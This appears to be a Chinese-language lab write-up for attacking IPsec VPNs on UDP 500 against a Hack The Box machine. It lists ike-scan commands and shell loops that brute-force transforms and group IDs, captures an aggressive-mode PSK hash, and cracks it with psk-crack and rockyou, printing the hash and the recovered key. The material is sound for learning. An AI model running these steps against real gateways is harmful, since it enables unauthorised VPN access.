ISAKMP udp(500)

1. 基本信息

IPsec 被广泛认为是保护网络之间(LAN到LAN)和从远程用户到网络网关(远程访问)通信的主要技术,是企业VPN解决方案的支柱。

在两个点之间建立安全关联(SA)的过程由IKE管理,IKE在ISAKMP的框架下运行,ISAKMP是一个用于身份验证和密钥交换的协议。这个过程分为几个阶段:

  • 阶段1: 在两个端点之间创建一个安全通道。这是通过使用预共享密钥(PSK)或证书来实现的,采用主模式,该模式涉及三对消息,或激进模式
  • 阶段1.5: 虽然不是强制性的,这个阶段被称为扩展认证阶段,通过要求用户名和密码来验证试图连接的用户的身份。
  • 阶段2: 这个阶段专注于协商用于保护数据的ESPAH的参数。它允许使用与阶段1不同的算法,以确保完美前向保密(PFS),增强安全性。

默认端口: 500/udp

2. 利用案例

3. 快速利用

ike-scan -M 10.10.11.87
ike-scan -P -M -A -n fakeID 10.10.11.87  #尝试获取hash和用户
psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt #破解hash

4. 利用步骤

4.1. 1.寻找有效的转换

IPSec 配置可以仅准备接受一个或几个转换。转换是值的组合。每个转换包含多个属性,如 DES 或 3DES 作为 加密算法,SHA 或 MD5 作为 完整性算法,预共享密钥作为 认证类型,Diffie-Hellman 1 或 2 作为密钥 分发算法,以及 28800 秒作为 生命周期。

┌──(root㉿kali)-[~/Desktop/htb/Season9/dakkmaddy]
└─# ike-scan -M 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Main Mode Handshake returned
        HDR=(CKY-R=c134e580401f99f5)
>>>>         SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

Ending ike-scan 1.9.6: 1 hosts scanned in 0.079 seconds (12.66 hosts/sec).  1 returned handshake; 0 returned notify
  • 关注 AUTH,其值为 PSK。这意味着 VPN 是使用预共享密钥配置的(这有利用我们后续进行利用)
    最后一行的值也非常重要:
  • 0 returned handshake; 0 returned notify: 这意味着目标 不是 IPsec 网关
  • 1 returned handshake; 0 returned notify: 这意味着 目标已配置为 IPsec,并愿意进行 IKE 协商,您提议的一个或多个变换是可接受的(有效的变换将在输出中显示)。
  • 0 returned handshake; 1 returned notify: VPN 网关在 没有变换可接受 时会回复通知消息(尽管有些网关不会,在这种情况下应进行进一步分析并尝试修订提案)。

如果您处于第三种情况,则需要 稍微暴力破解一下以找到有效的变换:
首先,您需要创建所有可能的变换:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

然后使用 ike-scan 对每一个进行暴力破解(这可能需要几分钟):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

如果暴力破解没有成功,可能服务器即使对有效的变换也没有进行握手响应。然后,你可以尝试使用攻击模式进行相同的暴力破解:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

4.2. 查找正确的 ID(组名)

为了能够捕获哈希,您需要一个支持 Aggressive 模式的有效转换和正确的 ID(组名)。您可能不知道有效的组名,因此您需要进行暴力破解。

使用 ike-scan 进行暴力破解 ID
首先尝试使用假 ID 发起请求,试图收集哈希(“-P”):

┌──(root㉿kali)-[~/Desktop/htb/Season9/dakkmaddy]
└─# ike-scan -P -M -A -n fakeID 10.10.11.87
Starting ike-scan 1.9.6 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
10.10.11.87     Aggressive Mode Handshake returned
        HDR=(CKY-R=1ab51aed145ca861)
        SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
        KeyExchange(128 bytes)
        Nonce(32 bytes)
>>>>         ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
        VID=09002689dfd6b712 (XAUTH)
        VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
        Hash(20 bytes)

IKE PSK parameters (g_xr:g_xi:cky_r:cky_i:sai_b:idir_b:ni_b:nr_b:hash_r):
5ba394a1d0876dc2a16ac6aa96177360ea4cad1be687f056e32847ff3278eff59c1f0e066b7b18f880476c07265c197975b07da413dd8eea33b3ea50183bf1acf9516a2ae0c7a8398f0665c61909c3c68d66e100f0f64a0fe73a24f60bddd244042da02f6124e7a811fb02bd8663573b69e7210ac0495f633f83b0fa2c0b41ef:02a6cd390e58bf6d1ba1edf66674889a9493459fa6cba5dc56d60c9afcd2ea3234b1dbd8fe7ee0fbc8d22612606e02f05970ba6b6ac93099d31427312f0c323402b9f7dca9b54269f75aba53819f3896147a8cf876e90d6f4413c2f84eac399238f346acdc073bc643c5452834e8361e4f5622126303727b379331a9afa22d75:1ab51aed145ca861:362440fbcdd4954f:00000001000000010000009801010004030000240101000080010005800200028003000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b0001000c000400007080030000240301000080010001800200028003000180040002800b0001000c000400007080000000240401000080010001800200018003000180040002800b0001000c000400007080:03000000696b6540657870726573737761792e687462:5e2f6cccdf7372997c8df867490b5a076ce2ed51:4bf936491957c2899af157620bfa00d3500148b22a8fc609e3b61710b5f7b212:dcd149c37fc62a5f93cd96919046e364935c69f7
Ending ike-scan 1.9.6: 1 hosts scanned in 0.088 seconds (11.36 hosts/sec).  1 returned handshake; 0 returned notify
  • Value=ike@expressway.htb 是用户ID(组名)
  • 下面的是哈希

如果没有返回哈希,那么这种暴力破解的方法可能会有效。如果返回了一些哈希,这意味着将会为一个假 ID 发送一个假哈希,因此这种方法对暴力破解 ID 不可靠。例如,可能会返回一个假哈希(这在现代版本中发生):

没有返回哈希,使用 ike-scan 暴力破解常见的组名

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

vpnIDs.txt

4.3. 破解哈希

┌──(root㉿kali)-[~/Desktop/htb/Season9/dakkmaddy]
└─# psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt
Starting psk-crack [ike-scan 1.9.6] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "freakingrockstarontheroad" matches SHA1 hash ef88dd821029639278193aefc1a543a1b7bf4288
Ending psk-crack: 8045040 iterations in 9.602 seconds (837882.47 iterations/sec)